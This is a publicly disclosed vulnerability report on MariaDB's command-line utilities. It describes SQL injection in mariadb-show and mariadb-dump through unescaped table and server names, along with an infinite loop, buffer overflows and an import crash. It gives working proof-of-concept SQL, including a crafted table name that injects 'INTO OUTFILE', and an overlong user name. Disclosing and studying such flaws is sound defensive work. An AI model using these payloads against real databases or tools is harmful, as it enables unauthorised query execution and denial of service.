HexBrain

MariaDB · Report #3849007

MariaDB CLI Utility Issues

Validstatus
27upvotes
8 Nov 2026disclosed

How it was found

mariadb-show (and to a lesser extent mariadb-dump and mariadb-convert-table-format.sh) may be tricked into executing malicious SQL if run against an attacker controlled database due to dynamically generated queries not escaping user controlled values.

mariadb-dump contains additional issues that may lead to client-side DoS / buffer overflow issues.

mariadb-show --count --verbose

mariadb-show may EXECUTE malicious queries when used as above because table names returned from SHOW TABLES end up being used without escaping in a SELECT COUNT(*) FROM `%s`; query.

client/mysqlshow.c

/* Print the count of rows for each table */
my_snprintf(query, sizeof(query), "SELECT COUNT(*) FROM `%s`",
            row[0]);

if (!(mysql_query(mysql,query)))
...

additional potential sinks:

Proof of Concept

CREATE TABLE poc(i INT);
INSERT INTO poc VALUES (1), (2), (3);

CREATE TABLE `poc`` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`(i INT);

SHOW TABLES;
-- poc
-- poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#

mariadb-show can then be tricked into executing

SELECT COUNT(*) FROM `poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`
root@localhost

mariadb-convert-table-format.sh

Table names are also not escaped in mariadb-convert-table-format.sh, but the SHOW TABLE STATUS injection doesn't give a lot of room for an attacker to player with. It's possible to inject a single quote ' or LIKE wildcards if needed.

scripts/mysql_convert_table_format.sh:99

$sth=$dbh->prepare("show table status like '$table'");
CREATE TABLE `poc`(
  id INT
) ENGINE=MyISAM;

CREATE TABLE `poc%`(
  id INT
) ENGINE=InnoDB;

mariadb-convert-table-format --engine=MYISAM --verbose ...

Converting tables:
poc already uses the 'MYISAM' engine;  Ignored
poc% already uses the 'MYISAM' engine;  Ignored

mariadb-dump --system=servers

client/mysqldump.cc:5241

my_snprintf(buff, sizeof(buff), "show create server %s", row[0]);
CREATE SERVER `poc`
  FOREIGN DATA WRAPPER mysql
  OPTIONS (HOST '127.0.0.1', DATABASE 'base_db');

CREATE SERVER `poc # hidden`
  FOREIGN DATA WRAPPER mysql
  OPTIONS (HOST '192.0.2.123', DATABASE 'hidden_db');

Because the SHOW CREATE SERVER doesn't quote server names, anything with a space in cause an injection. Not very useful ... but it's there.

mariadb-dump --events (infinite loop)

mariadb-dump --events tries to create a delimiter not present in the event body, but because create_delimiter() increments delimiter_max_size instead of proposed_length during the loop, the proposed delimiter is always stuck as ;; - causing an infinite loop if ;; is already present.

client/mysqldump.cc:2674

static char *create_delimiter(char *query, char *delimiter_buff, 
                              int delimiter_max_size) 
{
  int proposed_length;
  char *presence;


  delimiter_buff[0]= ';';  /* start with one semicolon, and */


  for (proposed_length= 2; proposed_length < delimiter_max_size; 
      delimiter_max_size++) {


    delimiter_buff[proposed_length-1]= ';';  /* add semicolons, until */
    delimiter_buff[proposed_length]= '\0';


    presence = strstr(query, delimiter_buff);
    if (presence == NULL) { /* the proposed delimiter is not in the query. */
       return delimiter_buff;
    }


  }
  return NULL;  /* but if we run out of space, return nothing at all. */
}

Proof of Concept

CREATE EVENT e_low_hang
ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 DAY
DO SELECT ';;' AS marker;
$ mariadb-dump --events ...
...
--
-- Dumping events for database 'victimdb'
--
/*!50106 SET @save_time_zone= @@TIME_ZONE */ ;
/*!50106 DROP EVENT IF EXISTS `e_low_hang` */;
^C

mariadb-dump (Buffer Overflows)

There are a couple of places where queries relating to users are copied into buffers that are potentially too small if the 'user'@'host' is long enough (doesn't have to be max length, overflows well before then). Doesn't seem to be overly exploitable at first glance.

client/mysqldump.cc:4959

if (mysql_query_with_error_report(mysql, &tableres,
                                  "SELECT CONCAT(QUOTE(u.user), '@', QUOTE(u.Host)) AS u "
                                  "FROM mysql.user u "
                                  " /*...*/"))
  return 1;
while ((row= mysql_fetch_row(tableres)))
{
  char buf[200];
  if (opt_replace_into)
    fprintf(md_result_file,
      "...",
      quote_for_equal(row[0],buf), ...);
  ...

client/mysqldump.cc:2307

static char *quote_for_equal(const char *name, char *buff)
{
  char *to= buff;
  *to++= '\'';
  while (*name)
  {
    if (*name == '\\')
    {
      *to++='\\';
    }
    if (*name == '\'')
      *to++= '\'';
    *to++= *name++;
  }
  to[0]= '\'';
  to[1]= 0;
  return buff;


}
CREATE USER 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'@'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
$ mariadb-dump --system=users --replace ...
...
DROP ROLE mariadb_dump_import_role;
/*M!100203 EXECUTE IMMEDIATE CONCAT('SET ROLE ', @current_role) */;
zsh: abort ...

mariadb-dump also appears to overflow some buffers while dumping a view whose definer is excessively large. The overflow seems to get caught on an ASAN build, doesn't crash a release build, but these buffers (maybe elsewhere too?) should probably be increased now that longer username / hosts are accepted?

client/mysqldump.cc:7192

char search_buf[256], replace_buf[256];
...

parse_user(row[1], lengths[1], user_name_str, &user_name_len,
           host_name_str, &host_name_len);

ptr= search_buf;
search_len=
  (ulong)(strxmov(ptr, "DEFINER=",
                  quote_name(user_name_str, quoted_user_name_str, FALSE),
                  "@",
                  quote_name(host_name_str, quoted_host_name_str, FALSE),
                  " SQL SECURITY ", row[2], NullS) - ptr);
...

(BONUS BUG) mariadb-import

mariadb-import --lock-tables crashes the client for ordinary direct-file imports. The root cause is that the direct-file branch iterates argv to build files_to_load, leaving argv pointing at the final NULL.

The later --lock-tables path still passes the original remaining argument count plus the now-exhausted pointer to lock_table(), which then calls fn_format() with a NULL filename.

client/mysqlimport.cc:L1318

for (; *argv != NULL; argv++)
{
  table_load_params p(*argv, "", current_db, 0);
  files_to_load.push_back(p);
}
...

if (lock_tables)
  lock_table(mysql, argc, argv);

client/mysqlimport.cc:840

static void lock_table(MYSQL *mysql, int tablecount, char **raw_tablename)
{
  ...

  for (i=0 ; i < tablecount ; i++)
  {
    fn_format(tablename, raw_tablename[i], "", "", 1 | 2);
    dynstr_append(&query, tablename);
    dynstr_append(&query, " WRITE,");
  }
  ...

and ...

$ mariadb-import --lock-tables db /tmp/x.txt
zsh: segmentation fault

Impact

mariadb-show --count may EXECUTE attacker-injected SQL if ran against an attacker controlled db.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original